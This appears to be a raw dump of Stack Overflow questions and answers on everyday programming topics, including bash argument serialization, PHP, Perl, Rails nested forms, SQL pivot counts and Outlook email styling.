3069644	0	 <p>Created two scripts: one serializes it's arguments to a <code>[a-ZA-Z0-9=_]*</code> strings <a href="http://vi-server.org/vi/bin/serialize.sh" rel="nofollow noreferrer">http://vi-server.org/vi/bin/serialize.sh</a>, other starts this command line (with optional prepended arguments) <a href="http://vi-server.org/vi/bin/deserialize.sh" rel="nofollow noreferrer">http://vi-server.org/vi/bin/deserialize.sh</a>.</p> <p>Serialize:</p> <pre><code>#!/bin/bash n=$#; for ((i=0; i&lt;$n; ++i)); do if [ -z "$1" ]; then echo 1 else printf '%s' "$1" | base64 -w 0 echo fi shift done | tr '\n' '_' echo -n "0" </code></pre> <p>Deserialize:</p> <pre><code>#!/bin/bash if [ -z "$1" ]; then echo "Usage: deserialize data [optional arguments]" echo "Example: \"deserialize cXFx_d3d3_0 eee rrr\"" echo " will execute \"eee rrr qqq www\"" exit 1; fi DATA="$1"; shift i=0 for A in ${DATA//_/' '}; do if [ "$A" == "0" ]; then break; fi if [ "$A" == "1" ]; then A="" fi ARR[i++]=`base64 -d &lt;&lt;&lt; "$A"` done exec "$@" "${ARR[@]}" </code></pre> <p>Example: </p> <pre><code>deserialize `serialize qqq www` echo </code></pre>
30827763	0	 <p><code>View.OnClickListener</code> is an interface which you need to implement when you want to handle click events. In your code, you are doing that by doing <code>new View.OnClickListener()</code>. Here you are actually creating an anonymous class that implements <code>View.OnClickListener</code>. And any class that implements <code>View.OnClickListener</code> must also implement all the methods declared in it (e.g. the <code>onClick</code> method). Also, in <code>public void onClick(View v) {..}</code>, the <code>View v</code> denotes the view or the button that was clicked so that you can perform whatever you want with it. For example, get it's id, change it's color etc.</p>
14659172	0	Perl script to split a file and process then concatenate based on size and a string <p>Could somebody help me to get some logic to following in perl I am using windows 7.</p> <p>C:\script>perl split_concatenate.pl large_file a or b (Input would be large file and value a or b to process it later).</p> <ol> <li>Check the file if it is greater than 40KB (some size), and choice is "a" , if not run a command </li> </ol> <p>command -i large_file.txt -o large_file_new -a</p> <p>else if the choice is b </p> <p>command -i large_file.txt -o large_file_new -b</p> <p>else</p> <p>if it is greater say 40KB+, split the file for each 40KB arround (will be part1,) and append a first "particular string" which will be in the file_part2 to the part1 save it for processing, if there are multiple "particular string" then create subsequent files which should end with next "particular string" in the following part. ("Particular String" starts with some String but ends in different value). So script should search if there are more "Particular string", in the part2 or so and append first available one, if there is only one available no need to anything just split. As file always should end with a particular string. </p> <p>Then process same command </p> <p>command -i filepart1.txt -o filepart1.dat -a command -i filepart2.txt - o filepart2.dat (if needed) -a </p> <p>or </p> <p>command -i filepart1.txt -o filepart1.dat -b command -i filepart2.txt - o filepart2.dat (if needed) -b</p> <p>After this needs to be concatenated.</p> <p>Concatenate filepart1.dat + filepart2.dat + filepartN =large_file.dat</p> <p>I started to find the size first using below code,</p> <pre><code>#!/usr/bin/perl use strict; use warnings; use File::stat; my $filesize = stat("Full_File.txt")-&gt;size; print "Size: $filesize\n"; exit 0; </code></pre> <p>It will be great if some one help so I can learn. If this is not possible, then @ each 500th line the file reaches to 40KB, so I think this would be easier, every 500th line append the Next available "Particular String", and split and process above command, if file is less than 1000 lines then only 2 split and no need to append in the part2 as already it has one in its eof. May be easier? </p> <p>Better explanation:</p> <p>large_file.txt </p> <pre><code>xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx xxxxxx var:value_var_v(abcd) xxxxxxx // first split happens here as here assume it is 40kb xxxxxx xxxxxxx var:value_var_v(efgh) </code></pre> <p>If this is too big then split at line 5, say <code>large_files_part1</code>. Its end should contain <code>var:value_var_v(1234)</code>. After the 5th line it should split again at line 9 and will become <code>large_files_part2</code> and have <code>var:value_var_v(4567)</code> at the end. part3 wil go till line 12 and include <code>var:value_var_v(abcd)</code> at the end, and so on. If there is only one <code>var:value_var_v?</code> after the first split then only two parts is fine as long as the lines in both parts is arround 500. If there are say 1300 line in the main file then three splits are needed. The end of each file should have the next available "string", so the 1001st line will be the first <code>var:value_var_v(1234)</code> available after line 1000. String always starts with var:value_var_v, end with any thing. Hope this is clear.</p> <p>Output Expected: First case: So, out put will be, _part1.txt will be arround 40,000 if it had only one occurrence of string</p> <pre><code>xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx xxxxxx var:value_var_v(abcd) xxxxxxx // split happened here var:value_var_v(efgh) _part2.txt xxxxxxx xxxxx var:value_var_v(efgh) </code></pre> <p>After I do some process on these files (part1 and par2) I again concatenate</p> <p>_part1+_part2=large+file</p> <p>Final large_file after concatenation:</p> <pre><code> xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx xxxxxx var:value_var_v(abcd) xxxxxxx // split happened here var:value_var_v(efgh) **** xxxxxxx xxxxx var:value_var_v(efgh) </code></pre> <p>2nd splitting and concatenate case:</p> <p>If that file is too big say 80KB and has many strings "var:value_var() after a first split @40KB,do subsequent splits where it sees a next string which will be again "var:value_var_v()" and do a split, based on the string else based on the size. Everytime the file pat shoudl contain next available var:value_var_v().</p> <p>Orginal file:</p> <pre><code> xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx - - // assume now split happens here as here assume it is 40kb there are two more strings starting with var:value_var_v, split after var:value_var_v(abcd) and print this string in previous parts eof. Then final part will be ending with var:value_var_v(efgh). keep as it is. xxxxxx xxxxxx xxxxx var:value_var_v(abcd) xxxxxxx xxxxxx xxxxxxx var:value_var_v(efgh) part1.txt xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx - - // split happens here as here assume it is 40kb var:value_var_v(abcd) - //prints next available string which is var:value_var_v(abcd) _part2.txt xxxxxx xxxxxx xxxxx var:value_var_v(abcd) // Here part1 and part2 ends with same string. _part3.txt xxxxxxx xxxxxx xxxxxxx var:value_var_v(efgh) - This is last part and size should be below 40KB </code></pre> <p>process all of these part1,part2,part3 then concatenate to a big file.</p> <p>Final file after concatenating</p> <p>Full fille would look like.</p> <pre><code>xxx xxxx xxxx xxxxx var:value_var_v(1234) xxxxxx xxxxx xxxxx var:value_var_v(4567) xxxxxxx // split happened here in the first split assumed 40KB var:value_var_v(abcd) ****** xxxxxx xxxxxx xxxxx var:value_var_v(abcd) ****** xxxxxxx xxxxxx xxxxxxx var:value_var_v(efgh) ****** </code></pre> <p>PS: Once I get processed end of in each part I get **** a unique value and retain it as it during concatenation.</p>
4607943	0	PHP Image content type problem <p>I have a specific problem, and cant get over it.</p> <p>For my latest project I need a simple PHP script that display an image according to its ID sent through URL. Here's the code:</p> <pre><code>header("Content-type: image/jpeg"); $img = $_GET["img"]; echo file_get_contents("http://www.somesite.hr/images/$img"); </code></pre> <p>The problem is that the image doesn't show although the browser recognizes it (i can see it in the page title), instead I get the image URL printed out.</p> <p>It doesn't work neither on a server with remote access allowed nor with one without. Also, nothing is printed or echoed before the header.</p> <p>I wonder if it is a content type error, or something else. Thanks in advance.</p>
12524453	0	Two Page Curl Effect in iPad <p>I am using the Leaves project to move from one pdf page to another it is working fine. Now the page curl is from left to right and from right to left like a note book. Now the effect was to turn a single page but i want to turn the two pages .one page has to display in left side and another page has to display in right side.</p>
31897692	0	Reading byte array from files in Visual Basic <p>I have a code for Visual Basic programming language that reads byte array from files, I use that code:</p> <pre><code>Imports System.IO Imports System.Threading Public Class Form1 Dim thread As New Thread(AddressOf RW_EXE) Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click With OpenFileDialog1 If .ShowDialog() = Windows.Forms.DialogResult.OK Then thread.IsBackground = True Control.CheckForIllegalCrossThreadCalls = False thread.Start() End If End With End Sub Sub RW_EXE() RichTextBox1.Text = "" Dim FS As New FileStream(OpenFileDialog1.FileName, FileMode.Open, FileAccess.Read) Dim BS As New BinaryReader(FS) Dim x As Integer = BS.BaseStream.Position Dim y As Integer = BS.BaseStream.Length Dim s As String = "" ProgressBar3.Maximum = y While x &lt; y RichTextBox1.Text &amp;= BS.ReadByte.ToString("X") &amp; " " ProgressBar3.Value = x x += 10 End While RichTextBox1.Text = s FS.Close() BS.Close() thread.Abort() End Sub </code></pre> <p>That code does it's job well, but I have one problem, It's very slow, it takes big time to read array bytes from files with size of 100 KB and from bigger files.</p> <p>Please, help.</p> <p>Thanks for attention.</p>
36948772	0	Rails - Nested Forms will create, but information won't be saved <p>I've been struggling to get my nested form to save the users' inputs. The "outer" form saves the information perfectly. The "inner", or nested, one creates a new object, and passes hidden-field informations, but all other values are "nil".</p> <p>Each order has one or more date_orders, and you should be able to create the first one through this form.</p> <p>My code follows. Please help me spot anything that might be causing that. I've browsed StackOverflow extensively.</p> <p>orders_controller.rb</p> <pre><code>class OrdersController &lt; ApplicationController def new @order = Order.new @order.date_orders.build end def create @order = Order.new(order_params) @order.date_orders.build if @order.save flash[:success] = "Success" redirect_to current_user else render 'new' end end def order_params params.require(:order).permit( :user_id, :description, date_order_attributes: [:id, :order_date, :time_start, :time_end, :order_id]) end end </code></pre> <p>order.rb</p> <pre><code>class Order &lt; ActiveRecord::Base has_many :date_orders, :dependent =&gt; :destroy accepts_nested_attributes_for :date_orders end </code></pre> <p>date_order.rb</p> <pre><code>class DateOrder &lt; ActiveRecord::Base belongs_to :order end </code></pre> <p>routes.rb --> date_orders is not mentioned in the routes. Is that a problem?</p> <p>orders/new.html.erb</p> <pre><code>&lt;%= form_for(@order, :html =&gt; {:multipart =&gt; true}) do |f| %&gt; &lt;!-- form_for fields FIELDS --&gt; &lt;%= fields_for :date_orders do |builder| %&gt; &lt;%= builder.hidden_field :order_id, :value =&gt; @order.id %&gt; &lt;- THIS WORKS &lt;%= builder.label :date %&gt; &lt;%= builder.date_field :order_date %&gt; &lt;%= builder.label :starting_time %&gt; &lt;%= builder.time_field :time_start %&gt; &lt;%= builder.label :ending_time %&gt; &lt;%= builder.time_field :time_end %&gt; &lt;% end %&gt; &lt;%= f.submit "Request", class: "btn" %&gt; &lt;% end %&gt; </code></pre> <p>EDIT: example of a hash that is created:</p> <pre><code>&lt;DateOrder id: 9, order_date: nil, time_start: nil, time_end: nil, order_id: 29, created_at: "2016-04-29 22:43:18", updated_at: "2016-04-29 22:43:18"&gt;enter code here` </code></pre>
29665446	0	 <p>You can change the hostname value for key <code>IdentityProviderSSOServiceURL</code> in <code>repository/conf/security/authenticators.xml</code> file. </p>
23054234	0	 <p>You have to initialize collection before using it like i.e.</p> <pre><code>following=new ArrayList&lt;IntWritable&gt;(); </code></pre> <p>You just declare following and tweets but not initialized it. </p>
28557144	0	Screenrecord causing phone framerate to drop <p>I have a nexus running Lollipop and I tried to use the new options available to screenrecord, </p> <p>I used </p> <pre><code>adb shell screenrecord --o raw-frames --bit-rate 4000000 /sdcard/output.raw </code></pre> <p>And the framerate went for a toss, the device became really sluggish, but If I use the default mp4 format it's actually faster.</p> <p>Technically If I save the trouble of encoding shouldn't device performance be snappier? Am I doing something wrong?</p>
25551516	0	 <p>You are using an aggregate function <code>max</code> with out providing a grouping criteria so your table prices will be treated as one group and the results of query will be returned in indeterminate order means it will give you the max value for your criteria but it will not guarantee you to give the relevant date which has the max value so your second query can be written as</p> <pre><code>select ((close-open)/open) as daychange, date from prices order by daychange desc limit 1 ; </code></pre> <p>So the above query will calculate daychange for each row and it will sort the result by daychange values in descending order and limiting to 1 will give you the max value for your criteria and the relevant data value too</p>
20683123	0	 <p>Make sure to use these commands in viewdidload [RMMapView class]; mapView.contents.tileSource = [[RMOpenStreetMapSource alloc] init];</p>
18074013	0	 <p>The string that you get is just the JSON Object.toString(). It means that you get the JSON object, but in a String format.</p> <p>If you are supposed to get a JSON Object you can just put:</p> <pre><code>JSONObject myObject = new JSONObject(result); </code></pre>
17292402	0	Form submitting to wrong url in php <p>I am creating a simple registration form in html and submitting it via post method to register.php which is under a directory named controller. When I submit the form, it redirects to wrong URL.<br/> <strong>This is the form:</strong><br/></p> <pre><code>&lt;form action="controller/register.php" method="post" enctype="multipart/form-data" id="pre-registration-form"&gt; &lt;fieldset&gt; &lt;legend&gt;&lt;span&gt;Type of Entry&lt;/span&gt;&lt;/legend&gt; &lt;table id="rally-type"&gt; &lt;tr&gt; &lt;td&gt;Sponsored&lt;/td&gt; &lt;td&gt;Non-sponsored&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;&lt;input type="radio" id="xtreme" name="entry-type" value="xtreme" /&gt;&lt;/td&gt; &lt;td&gt;&lt;input type="radio" id="ndure" name="entry-type" value="ndure" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/fieldset&gt; &lt;fieldset&gt; &lt;legend&gt; &lt;span&gt;Vehicle Details&lt;/span&gt; &lt;/legend&gt; &lt;table&gt; &lt;tr&gt; &lt;td&gt;Category&lt;/td&gt; &lt;td&gt;&lt;select name="vehicle-category" id="vehicle-category-list"&gt; &lt;option value="0"&gt;Select&lt;/option&gt; &lt;option value="2whlr"&gt;2 Wheeler&lt;/option&gt; &lt;option value="2whlr"&gt;4 Wheeler&lt;/option&gt; &lt;option value="2whlr"&gt;4 Wheel Drive&lt;/option&gt; &lt;/select&gt;&lt;/td&gt; &lt;td&gt;Make&lt;/td&gt; &lt;td&gt; &lt;select name="vehicle-make"&gt; &lt;option value="0"&gt;....&lt;/option&gt; &lt;option value="1"&gt;....&lt;/option&gt; . . . &lt;/select&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;Model&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="make-model" /&gt;&lt;/td&gt; &lt;td&gt;Year&lt;/td&gt; &lt;td&gt;&lt;input type="text" name="make-year" /&gt;&lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;/fieldset&gt; . . . . &lt;input type="submit" name="submit" value="Submit" /&gt; </code></pre> <p></p> <p>When I try to submit the form, it redirects to <code>controller/index.php</code> rather than <code>controller/register.php</code><br/> When I rename <code>register.php</code> file to <code>index.php</code> then the firefox gives the following error: <br/><br/></p> <blockquote> <p><strong>The page isn't redirecting properly</strong><br/> Firefox has detected that the server is redirecting the request for this address in a way that will never complete.<br/><br/> This problem can sometimes be caused by disabling or refusing to accept cookies.</p> </blockquote> <p><br/><br/> I have tried this on wamp as well as lamp server and both produces the same error. What might be the root of this problem? </p>
34817388	0	Rake stats not working <p>I'm trying to fetch some information about my project with rake stats but I'm getting the following </p> <pre><code>rake aborted! ArgumentError: invalid byte sequence in UTF-8 </code></pre> <p>When I run the command bundle exec rake stats with --trace, I get the following:</p> <pre><code>ArgumentError: invalid byte sequence in UTF-8 /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:50:in `block in calculate_directory_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:32:in `foreach' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:32:in `calculate_directory_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:34:in `block in calculate_directory_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:32:in `foreach' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:32:in `calculate_directory_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:26:in `block in calculate_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:26:in `map' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:26:in `calculate_statistics' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/code_statistics.rb:7:in `initialize' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/tasks/statistics.rake:15:in `new' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/gems/railties-3.2.22/lib/rails/tasks/statistics.rake:15:in `block in &lt;top (required)&gt;' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/bin/ruby_executable_hooks:15:in `eval' /Users/andrefurquin/.rvm/gems/ruby-2.1.2/bin/ruby_executable_hooks:15:in `&lt;main&gt;' </code></pre> <p>What can I do to solve this ?</p>
5075586	0	 <p>You could use <code>break;</code> but if you do you can't check return values (use <code>return;</code> or <code>return $bool;</code> for that).</p> <p>I think a construction like this would do:</p> <pre><code>.submit(function () { if (verifyInput()) { // continue } else { // show user there is something wrong } }); </code></pre> <p><code>verifyInput()</code> in this case would return a boolean, of course, representing wether or not the form was properly filled.</p>
35083537	0	 <p>you can use <code>df.apply</code> which will apply each column with provided function, in this case counting missing value. This is what it looks like,</p> <p><code>df.apply(lambda x: x.isnull().value_counts())</code></p>
31859432	0	allow people to only alter certain values in an input JavaScipt <p>I have the following code</p> <pre><code>&lt;input id="startDate "type="text" name="courseDate" value="MM/YYYY" /&gt; </code></pre> <p>I was wondering how I could use JavaScript to ensure that a user can only edit the "MM" and "YYYY" in the textbox.</p> <p>Thanks Y</p>
33423484	0	 <p>CoreLocation offers a geocoder service (<a href="https://developer.apple.com/library/watchos/documentation/CoreLocation/Reference/CLGeocoder_class/index.html" rel="nofollow" title="CLGeocoder, Apple Documentation">CLGeocoder, Apple documentation)</a> that allows for translation back and forth between lat/lon coordinates and street addresses. However, this service does not provide business/resident names, so you will have to use a third-party service to get that information.</p>
15528594	0	My View Controller gets deallocated when the app goes to the background <p>My View Controller class gets deallocated when the app goes to the background. I'm using ARC.</p> <p>I have a UIViewController that subscribes to a notifications when the app becomes active and executes a method. But once the app is about 30 secs in the background and then resumes, the app crashes with "message sent to deallocated instance". </p> <p>Enabling Zombie objects shows that the View Controller itself is the Zombie.</p> <p>Thank you!</p> <p><b>Instantiation of my view controller (in AppDelegate):</b></p> <pre><code>UIStoryboard *storyBoard = [UIStoryboard storyboardWithName:@"MainStoryboard" bundle:nil]; MyViewController *myViewController = [storyBoard instantiateViewControllerWithIdentifier:@"MyViewController"]; </code></pre> <p><b>The foreground notification in AppDelegate:</b></p> <pre><code>- (void)applicationDidBecomeActive:(UIApplication *)application { [[NSNotificationCenter defaultCenter] postNotificationName:kNotificationForegrounded object:self]; } </code></pre> <p><b>The foreground notification in the view controller:</b></p> <pre><code>- (void)viewDidLoad { [super viewDidLoad]; [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(resumeForeground) name:kNotificationForegrounded object:nil]; } </code></pre> <p><b>I tried creating a strong reference in the AppDelegate, but the view controller still gets deallocated:</b></p> <pre><code>@property (strong, nonatomic) MyViewController *myViewController; </code></pre> <p><b>I tried adding the view controller to an array and have a strong reference to the array in the AppDelegae, but still I get the same results:</b></p> <pre><code>@property (strong, nonatomic) NSMutableArray *viewControllers; //... UIStoryboard *storyBoard = [UIStoryboard storyboardWithName:@"MainStoryboard" bundle:nil]; MyViewController *myViewController = [storyBoard instantiateViewControllerWithIdentifier:@"MyViewController"]; self.viewControllers = [[NSMutableArray alloc] init]; [self.viewControllers addObject:myViewController]; </code></pre>
10142446	0	Using private frameworks for QT in xcode 4.3 <p>The Mac QT Installer puts its shared libraries under <code>/Library/Frameworks/QtXXX.Framework</code>.<br> I'm building a QT application using a qmake-generated xcode project. I'd like to add these frameworks as private framewords inside my app bundle for easy deployment.</p> <p>I've tried various options for doing this but I don't seem to be able to make it work. What I did - </p> <ul> <li>change the Qt framework files in <code>/Library/Frameworks/</code> using <code>install_name_tool</code> as described <a href="http://stackoverflow.com/questions/1621451/bundle-framework-with-application-in-xcode">here</a></li> <li>copy the these framework bundles manually to inside the app bundle</li> <li>recompiling the bundle.</li> </ul> <p>When I change the name of the original framework so it would appear that it's not there, the app crashes and says that it doesn't find the needed framework. What am I doing wrong?</p> <p>Using xcode 4.3 on OSX 10.7.3</p>
38130800	0	 <p>I just created a blog post that hopefully answers your question about projecting the points onto a solid.</p> <p><a href="http://modthemachine.typepad.com/my_weblog/2016/06/projecting-points-onto-a-solid.html" rel="nofollow">http://modthemachine.typepad.com/my_weblog/2016/06/projecting-points-onto-a-solid.html</a></p> <p>Regarding your second question about getting the solid as a point cloud; it is possible. You'll want to look at the CalculateFacets, CalculateFacetsWithOptions, and GetExistingFacets methods. These all do the same thing in that they return a set of points that represent a triangle approximation of the solid.</p>
16656904	0	inserting multiple rows in sqlite using implode <p>I have tried to insert multiple rows but got empty rows in database and other errors. So,tried to use implode (as a better alternative?) but must be doing something wrong here.</p> <pre><code>$sql = array(); foreach($_POST as $key =&gt; $value ) { $sql[] = '("'.sqlite_escape_string($key['cust_name']).'", '.$key['address'].')'; } $stmt = $db-&gt;prepare('INSERT INTO customers VALUES (cust_name, address) '.implode(','. $sql)); $stmt-&gt;execute($sql); </code></pre>
14318552	0	Need to redirect 404 to the home page. <p>I only have one 404 left and have no idea how to fix it. So I need to redirect that single page to the home page. </p> <p>I need <a href="http://www.name.co.uk/blog/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" rel="nofollow">http://www.name.co.uk/blog/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif</a> to redirect to the homepage within the .htaccess file.</p> <p>Many thanks </p>
38486562	0	 <p>I had similar issues recently, also with a site hosted on Azure though I don't think that was the cause. Found out the CORS error was somehow being triggered by SQL timeout exceptions because our stored procedures were processing huge amounts of data and it was taking too long. Sped up some of the procs and most of the CORS errors stopped happening, the same needs to be done for the other procs and then they will all work again.</p> <p>Looks like you were having a different issue, but if anyone is having CORS errors that show up a few minutes after a request is made this would be worth looking into.</p>
23557718	0	 <pre><code>SELECT AcId, AcName, PldepPer, RepId, CustCatg, HardCode, BlockCust, CrPeriod, CrLimit, BillLimit, Mode, PNotes, gtab82.memno FROM VCustomer AS v1 INNER JOIN gtab82 ON gtab82.memacid = v1.AcId WHERE (AcGrCode = '204' OR CreDebt = 'True') AND Masked = 'false' ORDER BY AcName </code></pre> <p>You typically only use an alias for a table name when you need to prefix a column with the table name due to duplicate column names in the joined tables and the table name is long or when the table is joined to itself. In your case you use an alias for <code>VCustomer</code> but only use it in the <code>ON</code> clause for uncertain reasons. You may want to review that aspect of your code.</p>
12476557	0	How do I get data from requested server page? <p>I got two php pages: <strong>client.php</strong> and <strong>server.php</strong></p> <p><strong>server.php</strong> is on my web server and what it does is open my amazon product page and get price data and serialize it and return it to <strong>client.php</strong>.</p> <p>Now the problem I have is that <strong>server.php</strong> is getting the data, but when I return it and do <code>echo</code> after using <code>unserialize()</code>, it shows nothing. But if I do <code>echo</code> in <strong>server.php</strong>, it shows me all the data. </p> <p>Why is this happening? Can anyone help me please? </p> <p>This the code I have used:</p> <p><strong>client.php</strong></p> <pre><code>$url = "http://www.myurl.com/iec/Server.php?asin=$asin&amp;platform=$platform_variant"; $azn_data = file_get_contents($url); $azn_data = unserialize($azn_data); echo "\nReturned Data = $azn_data\n"; </code></pre> <p><strong>server.php</strong></p> <pre><code>if(isset($_GET["asin"])) { $asin = $_GET["asin"]; $platform = $_GET["platform"]; echo "\nASIN = $asin\nPlatform = $platform"; //Below line gets all serialize price data for my product $serialized_data = amazon_data_chooser($asin, $platform); return($serialized_data); } else { echo "Warning: No Data Found!"; } </code></pre>
4335306	0	 <p>You can use a <code>TemplateField</code>, and, inside it something like this:</p> <pre><code>&lt;asp:Image runat="server" id="myImg" ImageUrl='&lt;%# GetImage(DataBinder.Eval(Container.DataItem, "b_attach")) &gt;%' visible='&lt;%# null != DataBinder.Eval(Container.DataItem, "b_attach") %&gt; /&gt; </code></pre>
2182911	0	 <p><strong>It's easy to know what to charge your customer.</strong> This is alway the biggest problems for us, because we don't know the scope of the project we can't give the customer a fixed price, and most customers demands a fixed price. </p>
24636491	0	<style> not working as intended for <table> on Outlook 2007 <h1> Problematic </h1> <p>&lt; style> tags don't seem to work properly in an Email sent to Outlook 2007.</p> <h1> Context </h1> <p>I use an asp.net server to send an Email with a table. This table has the inputs that the client entered.</p> <h2> What it should do </h2> <p><img src="https://i.stack.imgur.com/JBcBp.jpg" alt="Table (From JSFiddle)"><br> <a href="http://jsfiddle.net/6tca6/" rel="nofollow noreferrer">PrintScreened from JSFiddle</a></p> <h2> What it does </h2> <p><img src="https://i.stack.imgur.com/sHOJY.jpg" alt="Table (From Outlook 2007)"><br> PrintScreened from Outlook 2007 message.</p> <h1> Stipulations</h1> <p>The VB code doesn't matter (as it sends the Email properly), the problem comes from the <code>mailMessage.body</code> text.</p> <p>Here is the code for it :</p> <pre><code>Dim table As String Dim mailMessage As New MailMessage() 'There are two multiline textboxes which I want to create a table from table = "&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Length&lt;/th&gt;&lt;th&gt;Force&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;" For i = 0 To UBound(Split(length.Text, Environment.NewLine)) table += "&lt;tr&gt;&lt;td&gt;" &amp; Split(length.Text, Environment.NewLine)(i) &amp; "&lt;/td&gt;" table += "&lt;td&gt;" &amp; Split(force.Text, Environment.NewLine)(i) &amp; "&lt;/td&gt;&lt;/tr&gt;" Next table += "&lt;/tbody&gt;&lt;/table&gt;" mailMessage.Body = table &amp; _ "&lt;style&gt;" &amp; vbCrLf &amp; _ "table {display: inline-table; border:3px solid; border-collapse:collapse;}" &amp; vbCrLf &amp; _ "thead {border:2px solid;}" &amp; vbCrLf &amp; _ "tbody {border:1px solid;}" &amp; vbCrLf &amp; _ "th {border:1px solid; padding:3px;}" &amp; vbCrLf &amp; _ "td {font-size:90%; border:1px solid; padding:3px; text-align:left;}" &amp; vbCrLf &amp; _ "&lt;/style&gt;" </code></pre> <p>This <em>should</em> translate into <a href="http://jsfiddle.net/6tca6/" rel="nofollow noreferrer"><em>this</em></a>, but something goes wrong in the process.</p> <p>From <a href="https://www.campaignmonitor.com/css/" rel="nofollow noreferrer">https://www.campaignmonitor.com/css/</a>, all the <code>style</code> commands I used should work..</p> <h1> Question </h1> <p>What have I done wrong?</p> <h2> Update 1 </h2> <p>I tried to put the <code>&lt;style&gt;</code> tags in front of the table, it did this :</p> <pre class="lang-asp prettyprint-override"><code>&lt;style&gt;[...]&lt;/style&gt; &lt;table&gt;[...]&lt;/table&gt; </code></pre> <p><img src="https://i.stack.imgur.com/sG0Nw.jpg" alt="Style in front"></p> <p>It seems like the last CSS command overwrites all of the previous ones (table 3px border gets overwritten by <code>td</code>...)</p> <p>I tried <em>JRulle</em> proposition, it gave this :</p> <p><img src="https://i.stack.imgur.com/92Qw9.jpg" alt="JRulle&#39;s proposition"></p> <p>Both of those will work in case no solution is found, but I would really want to have the table borders bigger than the inner borders for ... style. Is that possible?</p> <h2> Update 2 </h2> <p>Following <em>JRulle's</em> second proposition :</p> <p><strong>Without collapse</strong></p> <p><img src="https://i.stack.imgur.com/uE1ki.jpg" alt="W/o Collapse"></p> <p>This is an expected result, as my first row are <code>&lt;th&gt;</code>, so the style should not draw borders for them.</p> <p><strong>With Collapse</strong></p> <p><img src="https://i.stack.imgur.com/ViPfj.jpg" alt="enter image description here"></p> <p>This is now really weird, it seems the collate function actually put the inner borders OVER the outside borders...</p>
35693478	1	Create data by combining query results in Django <p>I have a 1-n relation in my models, e.g., 1 classroom - n students. </p> <pre><code>Classroom 1 - Joe Classroom 1 - Tim Classroom 1 - Julia Classroom 2 - Bob Classroom 2 - Alice </code></pre> <p>In my view I want to show a row for each classroom and a comma separated list for the students:</p> <pre><code>Classroom1 | Joe, Tim, Julia Classroom2 | Bob, Alice </code></pre> <p>Right now, I find the records for each classroom and create the list of students and combine that to create a dictionary.</p> <p>Is there a more efficient way to create this data? Can I save the list of students with each Classroom?</p>
26934580	0	 <p>Try this.....</p> <pre><code>SELECT username ,count(CASE WHEN tblCall.started_at BETWEEN '2014-11-10 00:00:00' AND '2014-11-10 23:00:00' THEN tblCall.call_id ELSE NULL END) AS [10-11-2014] ,count(CASE WHEN tblCall.started_at BETWEEN '2014-11-11 00:00:00' AND '2014-11-11 23:00:00' THEN tblCall.call_id ELSE NULL END) AS [11-11-2014] ,count(CASE WHEN tblCall.started_at BETWEEN '2014-11-12 00:00:00' AND '2014-11-12 23:00:00' THEN tblCall.call_id ELSE NULL END) AS [12-11-2014] FROM tblUser INNER JOIN tblCall ON tblCall.from_user_id = tblUser.[user_id] WHERE tblUser.can_manage_accounts = '1' AND tblUser.telephone_ext != '' AND tblUser.blocked = '0' GROUP BY tblUser.username </code></pre> <h2>Dynamic Sql</h2> <pre><code>CREATE TABLE TEST_TABLE(UserName VARCHAR(100), started_at DATETIME) GO INSERT INTO TEST_TABLE VALUES ('Mark' , '2014-11-13 23:59:59.997'),('Jane' , '2014-11-13 23:59:59.997'),('Sam' , '2014-11-13 23:59:59.997'), ('Mark' , '2014-11-13 23:59:59.997'),('Jane' , '2014-11-13 23:59:59.997'),('Sam' , '2014-11-13 23:59:59.997'), ('Holly' ,'2014-11-12 23:59:59.997'),('Sally' ,'2014-11-12 23:59:59.997'),('Mandy' ,'2014-11-12 23:59:59.997'), ('Holly' ,'2014-11-12 23:59:59.997'),('Sally' ,'2014-11-12 23:59:59.997'),('John' ,'2014-11-11 23:59:59.997'), ('James' ,'2014-11-11 23:59:59.997'),('John' ,'2014-11-11 23:59:59.997'),('James' ,'2014-11-11 23:59:59.997'), ('Josh' ,'2014-11-10 23:59:59.997'),('Jamie' ,'2014-11-10 23:59:59.997') GO </code></pre> <h2>Query</h2> 